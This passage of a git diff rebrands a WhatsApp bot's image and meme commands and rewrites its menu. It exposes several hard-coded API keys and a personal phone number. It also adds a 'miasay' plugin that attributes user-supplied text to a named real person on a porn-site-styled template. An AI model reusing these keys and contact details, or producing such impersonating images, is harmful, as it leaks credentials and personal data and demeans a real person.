await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -479,7 +479,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://videfikri.com/api/textmaker/silk/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By rocky```'}) })); @@ -505,7 +505,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://videfikri.com/api/textmaker/gsuggest/?text1=${topText}&text2=${bottomText}&text3=${tbottomText}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By rocky```'}) })); @@ -539,7 +539,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://api.zeks.xyz/api/emoji-image?apikey=1hroZ3ju94h0PBjCNKsfhYaSuLs&emoji=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -569,7 +569,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://videfikri.com/api/textmaker/narutobanner/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By LiyaMol```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By rocky```'}) })); @@ -579,7 +579,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://videfikri.com/api/textmaker/woodblock/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By liyamol```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made By rocky```'}) })); @@ -697,7 +697,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://docs-jojo.herokuapp.com/api/watercolor?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Water color By LiyaMol```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Water color By rocky```'}) })); @@ -717,7 +717,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://docs-jojo.herokuapp.com/api/neon_light?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```glow Image By LiyaMol ```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```glow Image By rocky ```'}) })); @@ -759,7 +759,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://api.xteam.xyz/textpro/sandwriting?text=${match[1]}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -769,7 +769,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://api.xteam.xyz/textpro/cloudtext?text=${match[1]}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -793,7 +793,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://api.xteam.xyz/textpro/ph?text=${topText}&text2=${bottomText}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg , caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg , caption: 'Made by rocky'}) })); @@ -803,7 +803,7 @@ Asena.addCommand({pattern: 'silk ?(.*)', fromMe: false, dontAddCommandList: true var webimage = await axios.get(`https://api.xteam.xyz/textpro/snowtext?text=${match[1]}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by LiyaMol```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -813,7 +813,7 @@ Asena.addCommand({pattern: 'grass ?(.*)', fromMe: false, dontAddCommandList: tru var webimage = await axios.get(`https://videfikri.com/api/textmaker/paperonglass/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -823,7 +823,7 @@ Asena.addCommand({pattern: 'grass ?(.*)', fromMe: false, dontAddCommandList: tru var webimage = await axios.get(`https://videfikri.com/api/textmaker/candlemug/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -833,7 +833,7 @@ Asena.addCommand({pattern: 'grass ?(.*)', fromMe: false, dontAddCommandList: tru var webimage = await axios.get(`https://videfikri.com/api/textmaker/romancetext/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -843,7 +843,7 @@ Asena.addCommand({pattern: 'grass ?(.*)', fromMe: false, dontAddCommandList: tru var webimage = await axios.get(`https://videfikri.com/api/textmaker/lovemsg/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); @@ -853,6 +853,6 @@ Asena.addCommand({pattern: 'grass ?(.*)', fromMe: false, dontAddCommandList: tru var webimage = await axios.get(`https://api.xteam.xyz/textpro/bloodontheroastedglass?text=${match[1]}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by LiyaMol'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: 'Made by rocky'}) })); diff --git a/plugins/lpubg.js b/plugins/lpubg.js index b765de10b6..b3b13da826 100644 --- a/plugins/lpubg.js +++ b/plugins/lpubg.js @@ -29,7 +29,7 @@ else if (Config.WORKTYPE == 'public') { var ttinullimage = await axios.get(`https://api.zeks.xyz/api/pubglogo?apikey=cjxJIn9eDletRHac3CG6CdvGxFH&text1=Pikachu&text2=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by PIKACHU*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by ROCKY*' }) })); diff --git a/plugins/menu.js b/plugins/menu.js index fe8734b953..f9549a5124 100644 --- a/plugins/menu.js +++ b/plugins/menu.js @@ -10,133 +10,102 @@ Asena.addCommand({pattern: 'menu', fromMe: false, desc: Lang.WP}, (async (messag var r_text = new Array (); - r_text[0] = "https://www.pixelstalk.net/wp-content/uploads/2016/03/Pikachu-wallpaper-HD-dowload.jpg"; + r_text[0] = "https://i.postimg.cc/yxKfcqGQ/Anshad.jpg"; var i = Math.floor(1*Math.random()) var respoimage = await axios.get(`${r_text[i]}`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: `⛦━━━━━✨️Ameer Suhail✨️━━━━━⛦ - - -𝐇𝐞𝐥𝐥𝐨👋 𝐈 𝐚𝐦 𝐚 Ameer Suhail 𝐛𝐨𝐭. - *Pikachu* - -■□■□■□■□■□■□■□■□■□■□ -♕ *𝙈𝙚𝙙𝙞𝙖 𝘾𝙤𝙢𝙢𝙖𝙣𝙙𝙨* ♕ - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -song -🍙𝙐𝙨𝙚➜ Downloads song for you. -⚠️.song baby love - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -video -🍙𝙐𝙨𝙚➜ Downloads video from YouTube link. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -insta -🍙𝙐𝙨𝙚➜ Downloads content from instagram. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -yt -🍙𝙐𝙨𝙚➜ Gives you YT links. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -show -🍙𝙐𝙨𝙚➜ Get info related to tv series and shows. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -gif -🍙𝙐𝙨𝙚➜ Converts video to gif. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -tomp3 -🍙𝙐𝙨𝙚➜ Converts video into audio. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -say -🍙𝙐𝙨𝙚➜ Converts text into voice. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -img -🍙𝙐𝙨𝙚➜ It sends image from google. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -trt -🍙𝙐𝙨𝙚➜ Translate the text you tag. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -wiki -🍙𝙐𝙨𝙚➜ It sends Wikipedia result. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -lyric -🍙𝙐𝙨𝙚➜ Finds the lyrics of the song. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -covid -🍙𝙐𝙨𝙚➜ Send the covid stats of your country. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -weather -🍙𝙐𝙨𝙚➜ Tells you about the weather of your place. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -removebg -🍙𝙐𝙨𝙚➜ Removes the background of tge image. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -ocr -🍙𝙐𝙨𝙚➜ Finds the text written on the image. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -wallpaper -🍙𝙐𝙨𝙚➜ It sends you random wallpaper. - -■□■□■□■□■□Pikachu■□■□■□■□■□ -♟ *𝙁𝙪𝙣 𝘾𝙤𝙢𝙢𝙖𝙣𝙙𝙨* ♟ - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -joke -🍙𝙐𝙨𝙚➜ It sends a random joke. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -meme -🍙𝙐𝙨𝙚➜ Cations the image into a meme. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -quote -🍙𝙐𝙨𝙚➜ It sends a random quote. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -ss -🍙𝙐𝙨𝙚➜ It sends the screenshot of the website. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -changesay -🍙𝙐𝙨𝙚➜ Converts text into changesay meme image. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -trumpsay -🍙𝙐𝙨𝙚➜ Convert text into Trump's tweet. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -compliment -🍙𝙐𝙨𝙚➜ Gives you a compliment. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -bitly -🍙𝙐𝙨𝙚➜ Shorten your link. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -dict -🍙𝙐𝙨𝙚➜ Dictionary [-dict en;anime] - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -zodiac -🍙𝙐𝙨𝙚➜ Tells you about your horoscope. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -qr -🍙𝙐𝙨𝙚➜ Converts text into qr code. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -movie -🍙𝙐𝙨𝙚➜ Gives you info about movie. -⚠️movie master - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -anime -🍙𝙐𝙨𝙚➜ Gives you info about anime. -⚠️anime pikachu -■□■□■□■□■Pikachu□■□■□■□■□■□ -♝ *𝙎𝙩𝙞𝙘𝙠𝙚𝙧 𝘾𝙤𝙢𝙢𝙖𝙣𝙙𝙨* ♝ - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -sticker -🍙𝙐𝙨𝙚➜ Converts img/gif into a sticker. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -photo -🍙𝙐𝙨𝙚➜ Converts sticker into image. - -➡️𝘾𝙤𝙢𝙢𝙖𝙣𝙙➜ -attp -🍙𝙐𝙨𝙚➜ Converts text into glowing sticker. -⚠️ex attp pikachu -■□■□■□■□■□■□■□■□■□■□ -═════💢Pikachu💢═════ -▣▣▣▣▣▣▣▣▣ameersuhail▣▣▣▣▣▣▣▣▣▣▣ - + await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: `╭─➤ 𝐎𝐖𝐍𝐄𝐑 𝐈𝐍𝐅𝐎 » +│❖ *ᴀᴜᴛʜᴏʀ* : ᴀɴsʜᴀᴅ + | ❖ *ʙᴏᴛ* : ʀᴏᴄᴋʏ +│❖ *ᴋᴇʀɴᴇʟ* : ʟɪɴᴜx +│❖ *ɪɴꜱᴛᴀɢʀᴀᴍ* : https://instagram.com/ans.had?utm_medium=copy_link +│❖ *ᴄᴏɴᴛᴀᴄᴛ* : wa.me/919995390942 +╰────────────────❋ཻུ۪۪➹ +⌕ ❙❘❙❙❘❙❚❙❘❙❙❚❙❘❙❘❙❚❙❘❙❙❚❙❘❙❙❘❙❚❙❘ + ©919995390942 +╭────────────────➤ +│« *ᴀʟʟ ᴍᴇɴᴜ* » +╭────────────────╯ +│ +│[ *ᴍᴇᴅɪᴀ* ] +│ +│ ❖ .sᴏɴɢ +│ ❖ .ᴠɪᴅᴇᴏ +│ ❖ .ɪɴsᴛᴀ +│ ❖ .ʏᴛ +│ +│[ *ᴄᴏɴᴠᴇʀᴛ* ] +│ +│ ❖ .ɢɪғ +│ ❖ .ᴍᴘ3 +│ ❖ .ᴛᴛs +│ ❖ .ɪᴍɢ +│ ❖ .sᴛɪᴄᴋᴇʀ +│ ❖ .ᴀᴛᴛᴘ +│ ❖ .ᴛᴛᴘ +│ ❖ .ᴘʜᴏᴛᴏ +│ ❖ .2ɪᴍɢ +│ +│[ *ᴍᴀᴋᴇʀ* ] +│ +│ ❖ .logo +│ ❖ .spack +│ ❖ .shpack +│ ❖ .makermenu +│ ❖ .txttoimg +│ ❖ .effectimge +│ +│[ *ғᴜɴ* ] +│ +│ ❖ .ᴊᴏᴋᴇ +│ ❖ .ᴍᴇᴍᴇ +│ ❖ .ǫʀ +│ ❖ .ᴄʜᴀɴɢᴇsᴀʏ +│ ❖ .ᴛʀᴜᴍᴘsᴀʏ +│ ❖ .ᴄᴏᴍᴘʟɪᴍᴇɴᴛ +│ +│[ *sᴇᴀʀᴄʜ* ] +│ +│ ❖ .ᴡɪᴋɪ +│ ❖ .ʟʏʀɪᴄ +│ ❖ .sʜᴏᴡ +│ ❖ .ᴍᴏᴠɪᴇ +│ ❖ .ᴡᴇᴀᴛʜᴇʀ +│ +│[ *ᴛᴀɢ* ] +│ +│ ❖ .ᴛᴀɢᴀʟʟ +│ ❖ .ᴛᴀɢᴀᴅᴍɪɴ +│ +│[ *ᴏᴛʜᴇʀ* ] +│ +│ ❖ .ᴀɴɪᴍᴇ +│ ❖ .ᴡᴀʟʟᴘᴀᴘᴇʀ +│ ❖ .ss +│ ❖ .ᴅɪᴄᴛ +│ ❖ .sʜᴏʀᴛ +│ ❖ .ᴛʀᴛ +│ ❖ .ʀᴇᴍᴏᴠᴇʙɢ +│ +│[ *ᴏᴡɴᴇʀ ᴄᴍɴᴅs* ] +│ +│ ❖ .ғᴜʟʟᴇᴠᴀ +│ ❖ .ᴀᴜᴛᴏʙɪᴏ +│ ❖ .ʙᴀɴ +│ ❖ .ᴀᴅᴅ +│ ❖ .ᴘʀᴏᴍᴏᴛᴇ +│ ❖ .ᴅᴇᴍᴏᴛᴇ +│ ❖ .ᴍᴜᴛᴇ +│ ❖ .ᴜɴᴍᴜᴛᴇ +│ ❖ .ɪɴᴠɪᴛᴇ +│ ❖ .sᴇᴛᴠᴀʀ +│ +│ +│ ❏ *ᴄᴏᴅᴇᴅ ʙʏ ᴀɴsʜᴀᴅ* ❏ +╰────────────────╯ `}) })); diff --git a/plugins/miasay.js b/plugins/miasay.js new file mode 100644 index 0000000000..650b424f4e --- /dev/null +++ b/plugins/miasay.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command Kazhinn Yanthankilum yazhuth muthe\n🗡🗡" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'miasay ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://api.zeks.xyz/api/phub?apikey=4PXD3f97yHgcO8aOD5GGIsEJB6l&img=https://www.filmibeat.com/wimgm/500x70/mobi/2017/11/mia-khalifa_1510989398130.jpg&username=Mia%20Khalifa&msg=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky😉*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'miasay ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://api.zeks.xyz/api/phub?apikey=4PXD3f97yHgcO8aOD5GGIsEJB6l&img=https://www.filmibeat.com/wimgm/500x70/mobi/2017/11/mia-khalifa_1510989398130.jpg&username=Mia%20Khalifa&msg=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky😉*' }) + + })); + +} diff --git a/plugins/mmpack.js b/plugins/mmpack.js index 886209b42e..afb29b73b0 100644 --- a/plugins/mmpack.js +++ b/plugins/mmpack.js @@ -1,4 +1,4 @@ -/* TeenuhX +/* TeenuhX Re Moded by Anshad vfc */ const Asena = require('../events'); @@ -6,27 +6,27 @@ const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys' const fs = require('fs'); const axios = require('axios'); const Config = require('../config'); -const ll ="*Need some Word*" -const Ln = "*▷Pikachu🪐നിങ്ങൾ ആഗ്രഹിക്കുന്ന രീതിയിൽ മെമ്മുകൾ ഇച്ഛാനുസൃതമാക്കാൻ മെമ്മെ ലിസ്റ്റ്◁* " - const code = "*╔═════◉Pikachu(Ameer)◉═════╗*\n Pikachu🪐\n*❖═List═❖*\n\n*💠.yasai ❴your text❵*\n*💠.uddika ❴your text❵*\n*💠.aah ❴your text❵*\n*💠.sir ❴your text❵*\n*💠.my3 ❴your text❵*\n*💠.fuck ❴your text❵*\n*💠.hii ❴your text❵*\n*💠.asai ❴your text❵*\n*💠.hapoi ❴your text❵*\n*╚═══❖══▣══▣══❖═══╝*\n\n*▷Creator: Saidali💫*" +const ll ="എന്തെങ്കിലും type ആക് 🙇‍♂️" +const Ln = "▷🤖നിങ്ങൾ ആഗ്രഹിക്കുന്ന രീതിയിൽ മെമ്മുകൾ ഇച്ഛാനുസൃതമാക്കാൻ മെമ്മെ ലിസ്റ്റ്◁ " +const code = "╔════◉ CAMANDS ◉════╗\n\n ❖═List═❖\n*🔮.yasai ❴text❵\n🔮.uddika ❴text❵\n🔮.aah ❴text❵\n🔮.sir ❴text❵\n🔮.my3 ❴text❵\n🔮.fuck ❴text❵\n🔮.hii ❴text❵\n🔮.asai ❴text❵\n🔮.hapoi ❴text❵\n🔮.quby1 ❴text❵\n🔮.quby2 ❴text❵\n🔮.quby3 ❴text❵\n🔮.quby4 ❴text❵\n🔮.cat1 ❴text❵\n🔮.cat2 ❴text❵\n🔮.cat3 ❴text❵\n🔮.cat4 ❴text❵\n🔮.trollikka1 ❴text❵\n🔮.trollikka2 ❴text❵\n🔮.trollikka3 ❴text❵\n🔮.trollikka4 ❴text❵\n\n╚═══❖══▣══▣══❖═══╝\n\n▷Re Moded By: Anshad vfc*\n*▷Specιal Thanks to ιnѕane вoy*" if (Config.WORKTYPE == 'public') { - - Asena.addCommand({pattern: 'mmpack', fromMe: false, desc: Ln,}, (async (message, match) => { + + Asena.addCommand({pattern: 'mmpack', fromMe: false, desc: Ln,}, (async (message, match) => { await message.client.sendMessage( - + message.jid,code, MessageType.text); - + })); Asena.addCommand({ pattern: 'my3 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { if (match[1] === '') return await message.sendMessage(ll); - var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/077e4178b917d2736dd5c.jpg/revision/latest/top-crop/width/1152/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/3oiVAaC.jpeg`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) })); @@ -36,7 +36,7 @@ Asena.addCommand({ pattern: 'fuck ?(.*)', fromMe: false, dontAddCommandList: tru var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/9d4db91478cc90cbe814c.jpg/revision/latest/top-crop/width/720/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) })); @@ -46,7 +46,7 @@ Asena.addCommand({ pattern: 'hii ?(.*)', fromMe: false, dontAddCommandList: true var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=hii&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f5277ae7383f852196e8c.jpg/revision/latest/top-crop/width/1152/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *LiyaMol*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: ' Me *Made By Rocky😎' }) })); @@ -56,7 +56,7 @@ Asena.addCommand({ pattern: 'sir ?(.*)', fromMe: false, dontAddCommandList: true var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/9d4db91478cc90cbe814c.jpg/revision/latest/top-crop/width/1128/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made By Rocky😎' }) })); @@ -66,7 +66,7 @@ Asena.addCommand({ pattern: 'yasai ?(.*)', fromMe: false, dontAddCommandList: tr var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/1ec40b3da163e0a55da66.jpg/revision/latest/top-crop/width/1203/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *LiyaMol*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: ' *Made By Rocky😎' }) })); @@ -76,7 +76,7 @@ Asena.addCommand({ pattern: 'hapoi ?(.*)', fromMe: false, dontAddCommandList: tr var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/21b92760827dc33301a79.jpg/revision/latest/top-crop/width/916/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made By Rocky😎' }) })); @@ -86,7 +86,7 @@ Asena.addCommand({ pattern: 'uddika ?(.*)', fromMe: false, dontAddCommandList: t var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=uddikaputo&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/80c57bf5ac6c0fd0a1ca9.jpg/revision/latest/top-crop/width/747/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made By Rocky😎' }) })); @@ -96,7 +96,7 @@ Asena.addCommand({ pattern: 'aah ?(.*)', fromMe: false, dontAddCommandList: true var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/c34d400e0a937ee12a3f7.jpg/revision/latest/top-crop/width/1035/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made By Rocky😎' }) })); @@ -106,8 +106,140 @@ Asena.addCommand({ pattern: 'asai ?(.*)', fromMe: false, dontAddCommandList: tru var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0bab6f4db17b4abca2677.jpg/revision/latest/top-crop/width/720/height/720?cb=20190205115000`, { responseType: 'arraybuffer' }) - await 